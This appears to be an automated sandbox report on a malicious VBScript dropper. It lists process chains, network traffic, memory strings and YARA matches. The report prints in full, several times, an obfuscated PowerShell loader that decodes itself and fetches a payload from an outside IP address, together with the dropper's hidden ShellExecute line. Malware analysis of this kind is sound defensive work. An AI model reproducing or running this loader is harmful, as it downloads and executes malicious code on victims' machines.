V lsbIllu,RAt mdIConfegBekengrepresLukrek Sd,k1Jydep1Balne6kryst. Fop SPigwaPWilcoL Ch liGtesktPriso(Ligh.$UknneAPolelfAfbetTMeropGMe.ogtConvesStamky cornDBrushe SerilPunktSDappeEAfgnarCockn)');Desiodothyroxine3 (Centralkomites $Personnummers);$Briggsk116=$Priskrigene[0];$Skaberkrfters=(Centralkomites 'Nimme$.tandGBou.hlErob,oTasseb ExcrAdigtelAssy.:Cre cA rideQ .vlsuVindaa SkribGe.neERadio

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 98.7%

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000008.00000002.2565274087.0000000006DCE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: m.Core.pdb5 source: powershell.exe, 00000008.00000002.2572137053.0000000007D28000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .Core.pdb source: powershell.exe, 00000008.00000002.2572137053.0000000007D28000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic

HTTP traffic detected: GET /JD/Gossipers.toc HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: 68.168.223.108Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.223.108

Source: global traffic

HTTP traffic detected: GET /JD/Gossipers.toc HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: 68.168.223.108Connection: Keep-Alive

Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.1
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.16
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.2
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.22
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.1
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.10
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1357902050.000001D1A4B49000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1357902050.000001D1A5700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/J
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/G
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Go
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Gos
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Goss
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Gossi
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Gossip
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Gossipe
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Gossiper
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Gossipers
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Gossipers.
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Gossipers.t
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Gossipers.to
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Gossipers.toc
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A4B49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Gossipers.tocP
Source: powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.223.108/JD/Gossipers.tocXR
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A5700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.168.H
Source: wscript.exe, 00000000.00000003.1265664478.000001D5A7A44000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1260517825.000001D5A7A44000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1272116245.000001D5A5B7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1262046725.000001D5A7A44000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1273952548.000001D5A5BB4000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: wscript.exe, 00000000.00000003.1265664478.000001D5A7A3B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1262046725.000001D5A7A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?6f4070b188b28
Source: wscript.exe, 00000000.00000003.1272116245.000001D5A5B7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1273952548.000001D5A5BB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabj
Source: wscript.exe, 00000000.00000003.1272116245.000001D5A5B7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1273952548.000001D5A5BB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/env
Source: wscript.exe, 00000000.00000003.1266618163.000001D5A7A10000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1262500209.000001D5A79E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?6f4070b188
Source: powershell.exe, 00000005.00000002.1394333131.000001D1B4995000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2557671310.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A4921000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2541328902.0000000004381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.1403411874.000001D1BD0B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A4921000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000008.00000002.2541328902.0000000004381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000008.00000002.2557671310.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.2557671310.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.2557671310.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.1394333131.000001D1B4995000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2557671310.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_1040.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8104, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1040, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Potential malicious VBS script found (suspicious strings)

Source:

Initial file: Growler=Udvisket.ShellExecute(Afmeld,Alumbrado(odonates) & Nonpunitory & Alumbrado(odonates),"","",0)

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Thickskulled='func';Get-History;$Thickskulled+='t';Get-History;$Thickskulled+='i';$Hyldebusk=Get-History;$Thickskulled+='on:';(ni -p $Thickskulled -n Centralkomites -value { param($Toenderne);$Udlaansafdelingerne=5;do {$Hypersonically78+=$Toenderne[$Udlaansafdelingerne];$Udlaansafdelingerne+=6} until(!$Toenderne[$Udlaansafdelingerne])$Hypersonically78});ConvertTo-Html;(ni -p $Thickskulled -n Desiodothyroxine3 -value {param($Yodhs);.($Likrer) ($Yodhs)});ConvertTo-Html;$Protozoal=Centralkomites 'UdhunNAandseH lvfTKnowi.Sygehw';$Protozoal+=Centralkomites 'Tra.pe Ng eBGee.scStannl espIWeekeESkrumNOve,ft';$Affaldsbehandlingssystem=Centralkomites 'StensM SuitoTapwozPlatfividerlRooinl kogla Galm/';$Humps=Centralkomites 'Unt,rT b ralShowes ksko1I ter2';$Personnummers='Natur[ Mor.NPaa eEMondoTEll c.AudiosSuperEDirkeRTilkmvKorreiAl efcPyramEBrrespApproOAssorIu visNWhi ktIntegm per aGrievn ddanAfortrGFremhEFren rSoutf]Hellb: Hove: ensesEngulER.novcS wdeU PostrAcadeIElytrTAvedrySoejlpPardyRCodeboBassiTDeteko Fermc Utm.Ou derl Un,e=Gener$UnencHUdkraU ponsmAbeskpCheaps';$Affaldsbehandlingssystem+=Centralkomites 'Re.ym5 Me e. Re a0Civil Basha(,idsnWFjorti umlinA prodKilesoM.gilwIllegsGonad ParaNFaculTR sle B try1 Tita0 Neut.Restr0Umora;Disv Wan lWStimuiHjertnUnte 6Medbo4Mudst;Udsty Keciax bill6 ava4wicki;Lagri hawmrHunchvCbest:ifrer1ingse3Nasio4S,ema.udla 0Tabli)unalc RevolGFaaf eEquipcQuin,kSphaeo Gru / Cram2 Husa0 U.ya1 Week0T old0Herm.1Blast0Milli1Therm FortjFDuffaiLbeilrEberteHarmlf,sychoTrigoxchemo/Bihen1Ba.al3Fo pa4binar. etst0';$Transculturation=Centralkomites 'Skinnu SkilSUningeFo.terLavem-c eatATrochG nrulE EkstnUdartT';$Briggsk116=Centralkomites ' DischSaigat L.tttBundfpAnhe :Absfa/ Flaa/Dr ve6Sconc8 Eva..k bel1 arss6No pa8Marab.Raa e2P,ove2Musee3 Skam.Adiap1 Gyno0Dv gb8U rep/ ShelJUdlovDL the/CobalGJ ngaoDrewrsStealsVe.daiRibonpKorpseProgrrBobecsHansa.Reopetam ryoWeakmc';$Aftgtsydelser=Centralkomites ' pist>';$Likrer=Centralkomites 'RykkeiIsthmEPermix';$Hyposynergia='Sprngningsekspertens';$Konsigneres='\Discoach.Imm';Desiodothyroxine3 (Centralkomites '.loms$ UpsogHimmeL GushOVand,bLabioABriseLReinf: Ove A Buskf.orgeg SeldIS,rivVAcr tEDoodaLGyp ySRu,ddEEu,ognInsorS Penu=Endoc$Spen,EPol tN BlomVScumm: BordA .bysPQuinapAfskrdBlamia InfiTLitmua Brod+Donat$PrintKDu.niofr naNFishlsBegorIUm.rsgPicklnAsthoeTagdkrHjspneTube S');Desiodothyroxine3 (Centralkomites 'tho k$ AdstGSemiblB,folODactyBFassaAK risLudlgg:Unen pF gler ialti ttacsP nnikridicrExcitIJejunGFastlEbr gnNSymbre ars=Metap$ V lsbIllu,RAt mdIConfegBekengrepresLukrek Sd,k1Jydep1Balne6kryst. Fop SPigwaPWilcoL Ch liGtesktPriso(Ligh.$UknneAPolelfAfbetTMeropGMe.ogtConvesStamky cornDBrushe SerilPunktSDappeEAfgnarCockn)');Desiodothyroxine3 (Centralkomites $Personnummers);$Briggsk116=$Priskrigene[0];$Skaberkrfters=(Centralkomites 'Nimme$.tandGBou.hlErob,oTasseb ExcrAdigt
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Thickskulled='func';Get-History;$Thickskulled+='t';Get-History;$Thickskulled+='i';$Hyldebusk=Get-History;$Thickskulled+='on:';(ni -p $Thickskulled -n Centralkomites -value { param($Toenderne);$Udlaansafdelingerne=5;do {$Hypersonically78+=$Toenderne[$Udlaansafdelingerne];$Udlaansafdelingerne+=6} until(!$Toenderne[$Udlaansafdelingerne])$Hypersonically78});ConvertTo-Html;(ni -p $Thickskulled -n Desiodothyroxine3 -value {param($Yodhs);.($Likrer) ($Yodhs)});ConvertTo-Html;$Protozoal=Centralkomites 'UdhunNAandseH lvfTKnowi.Sygehw';$Protozoal+=Centralkomites 'Tra.pe Ng eBGee.scStannl espIWeekeESkrumNOve,ft';$Affaldsbehandlingssystem=Centralkomites 'StensM SuitoTapwozPlatfividerlRooinl kogla Galm/';$Humps=Centralkomites 'Unt,rT b ralShowes ksko1I ter2';$Personnummers='Natur[ Mor.NPaa eEMondoTEll c.AudiosSuperEDirkeRTilkmvKorreiAl efcPyramEBrrespApproOAssorIu visNWhi ktIntegm per aGrievn ddanAfortrGFremhEFren rSoutf]Hellb: Hove: ensesEngulER.novcS wdeU PostrAcadeIElytrTAvedrySoejlpPardyRCodeboBassiTDeteko Fermc Utm.Ou derl Un,e=Gener$UnencHUdkraU ponsmAbeskpCheaps';$Affaldsbehandlingssystem+=Centralkomites 'Re.ym5 Me e. Re a0Civil Basha(,idsnWFjorti umlinA prodKilesoM.gilwIllegsGonad ParaNFaculTR sle B try1 Tita0 Neut.Restr0Umora;Disv Wan lWStimuiHjertnUnte 6Medbo4Mudst;Udsty Keciax bill6 ava4wicki;Lagri hawmrHunchvCbest:ifrer1ingse3Nasio4S,ema.udla 0Tabli)unalc RevolGFaaf eEquipcQuin,kSphaeo Gru / Cram2 Husa0 U.ya1 Week0T old0Herm.1Blast0Milli1Therm FortjFDuffaiLbeilrEberteHarmlf,sychoTrigoxchemo/Bihen1Ba.al3Fo pa4binar. etst0';$Transculturation=Centralkomites 'Skinnu SkilSUningeFo.terLavem-c eatATrochG nrulE EkstnUdartT';$Briggsk116=Centralkomites ' DischSaigat L.tttBundfpAnhe :Absfa/ Flaa/Dr ve6Sconc8 Eva..k bel1 arss6No pa8Marab.Raa e2P,ove2Musee3 Skam.Adiap1 Gyno0Dv gb8U rep/ ShelJUdlovDL the/CobalGJ ngaoDrewrsStealsVe.daiRibonpKorpseProgrrBobecsHansa.Reopetam ryoWeakmc';$Aftgtsydelser=Centralkomites ' pist>';$Likrer=Centralkomites 'RykkeiIsthmEPermix';$Hyposynergia='Sprngningsekspertens';$Konsigneres='\Discoach.Imm';Desiodothyroxine3 (Centralkomites '.loms$ UpsogHimmeL GushOVand,bLabioABriseLReinf: Ove A Buskf.orgeg SeldIS,rivVAcr tEDoodaLGyp ySRu,ddEEu,ognInsorS Penu=Endoc$Spen,EPol tN BlomVScumm: BordA .bysPQuinapAfskrdBlamia InfiTLitmua Brod+Donat$PrintKDu.niofr naNFishlsBegorIUm.rsgPicklnAsthoeTagdkrHjspneTube S');Desiodothyroxine3 (Centralkomites 'tho k$ AdstGSemiblB,folODactyBFassaAK risLudlgg:Unen pF gler ialti ttacsP nnikridicrExcitIJejunGFastlEbr gnNSymbre ars=Metap$ V lsbIllu,RAt mdIConfegBekengrepresLukrek Sd,k1Jydep1Balne6kryst. Fop SPigwaPWilcoL Ch liGtesktPriso(Ligh.$UknneAPolelfAfbetTMeropGMe.ogtConvesStamky cornDBrushe SerilPunktSDappeEAfgnarCockn)');Desiodothyroxine3 (Centralkomites $Personnummers);$Briggsk116=$Priskrigene[0];$Skaberkrfters=(Centralkomites 'Nimme$.tandGBou.hlErob,oTasseb ExcrAdigt			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: Agterdelen.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 7296
Source: unknown	Process created: Commandline size = 7296
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 7296	Jump to behavior

Source: amsi32_1040.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8104, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 1040, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal96.troj.expl.evad.winVBS@6/9@0/1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Discoach.Imm

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8116:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gx1ophtj.ezb.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Agterdelen.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=8104
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=1040

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Agterdelen.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Thickskulled='func';Get-History;$Thickskulled+='t';Get-History;$Thickskulled+='i';$Hyldebusk=Get-History;$Thickskulled+='on:';(ni -p $Thickskulled -n Centralkomites -value { param($Toenderne);$Udlaansafdelingerne=5;do {$Hypersonically78+=$Toenderne[$Udlaansafdelingerne];$Udlaansafdelingerne+=6} until(!$Toenderne[$Udlaansafdelingerne])$Hypersonically78});ConvertTo-Html;(ni -p $Thickskulled -n Desiodothyroxine3 -value {param($Yodhs);.($Likrer) ($Yodhs)});ConvertTo-Html;$Protozoal=Centralkomites 'UdhunNAandseH lvfTKnowi.Sygehw';$Protozoal+=Centralkomites 'Tra.pe Ng eBGee.scStannl espIWeekeESkrumNOve,ft';$Affaldsbehandlingssystem=Centralkomites 'StensM SuitoTapwozPlatfividerlRooinl kogla Galm/';$Humps=Centralkomites 'Unt,rT b ralShowes ksko1I ter2';$Personnummers='Natur[ Mor.NPaa eEMondoTEll c.AudiosSuperEDirkeRTilkmvKorreiAl efcPyramEBrrespApproOAssorIu visNWhi ktIntegm per aGrievn ddanAfortrGFremhEFren rSoutf]Hellb: Hove: ensesEngulER.novcS wdeU PostrAcadeIElytrTAvedrySoejlpPardyRCodeboBassiTDeteko Fermc Utm.Ou derl Un,e=Gener$UnencHUdkraU ponsmAbeskpCheaps';$Affaldsbehandlingssystem+=Centralkomites 'Re.ym5 Me e. Re a0Civil Basha(,idsnWFjorti umlinA prodKilesoM.gilwIllegsGonad ParaNFaculTR sle B try1 Tita0 Neut.Restr0Umora;Disv Wan lWStimuiHjertnUnte 6Medbo4Mudst;Udsty Keciax bill6 ava4wicki;Lagri hawmrHunchvCbest:ifrer1ingse3Nasio4S,ema.udla 0Tabli)unalc RevolGFaaf eEquipcQuin,kSphaeo Gru / Cram2 Husa0 U.ya1 Week0T old0Herm.1Blast0Milli1Therm FortjFDuffaiLbeilrEberteHarmlf,sychoTrigoxchemo/Bihen1Ba.al3Fo pa4binar. etst0';$Transculturation=Centralkomites 'Skinnu SkilSUningeFo.terLavem-c eatATrochG nrulE EkstnUdartT';$Briggsk116=Centralkomites ' DischSaigat L.tttBundfpAnhe :Absfa/ Flaa/Dr ve6Sconc8 Eva..k bel1 arss6No pa8Marab.Raa e2P,ove2Musee3 Skam.Adiap1 Gyno0Dv gb8U rep/ ShelJUdlovDL the/CobalGJ ngaoDrewrsStealsVe.daiRibonpKorpseProgrrBobecsHansa.Reopetam ryoWeakmc';$Aftgtsydelser=Centralkomites ' pist>';$Likrer=Centralkomites 'RykkeiIsthmEPermix';$Hyposynergia='Sprngningsekspertens';$Konsigneres='\Discoach.Imm';Desiodothyroxine3 (Centralkomites '.loms$ UpsogHimmeL GushOVand,bLabioABriseLReinf: Ove A Buskf.orgeg SeldIS,rivVAcr tEDoodaLGyp ySRu,ddEEu,ognInsorS Penu=Endoc$Spen,EPol tN BlomVScumm: BordA .bysPQuinapAfskrdBlamia InfiTLitmua Brod+Donat$PrintKDu.niofr naNFishlsBegorIUm.rsgPicklnAsthoeTagdkrHjspneTube S');Desiodothyroxine3 (Centralkomites 'tho k$ AdstGSemiblB,folODactyBFassaAK risLudlgg:Unen pF gler ialti ttacsP nnikridicrExcitIJejunGFastlEbr gnNSymbre ars=Metap$ V lsbIllu,RAt mdIConfegBekengrepresLukrek Sd,k1Jydep1Balne6kryst. Fop SPigwaPWilcoL Ch liGtesktPriso(Ligh.$UknneAPolelfAfbetTMeropGMe.ogtConvesStamky cornDBrushe SerilPunktSDappeEAfgnarCockn)');Desiodothyroxine3 (Centralkomites $Personnummers);$Briggsk116=$Priskrigene[0];$Skaberkrfters=(Centralkomites 'Nimme$.tandGBou.hlErob,oTasseb ExcrAdigt
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
